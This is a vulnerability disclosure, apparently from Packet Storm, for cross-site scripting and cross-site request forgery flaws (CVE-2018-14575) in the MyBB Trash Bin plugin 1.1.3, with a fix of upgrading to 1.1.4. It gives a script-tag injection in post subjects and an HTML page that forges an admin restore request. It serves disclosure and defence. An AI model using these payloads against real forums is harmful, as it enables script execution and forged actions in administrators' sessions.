MyBB Trash Bin 1.1.3 Cross Site Request Forgery / Cross Site Scripting

MyBB Trash Bin plugin version 1.1.3 suffers from cross site request forgery and cross site scripting vulnerabilities.


MD5 | b5acce6c3a4f47d99c68958b5e07deb7

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# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575


1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
 

2. Proof of Concept:

Cross-Site Scripting

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts

- Reply to a post and change the subject to the following  <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts


Cross-Site Request Forgery

<html>
  <body>
    <!-- Restore deleted threads & posts by thread/post ID -->
    <div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
    <script type="text/javascript">
      $("#thread_1").popupMenu();
    </script>
  </body>
</html>

3. Solution:
Update to 1.1.4

Source: packetstormsecurity.com
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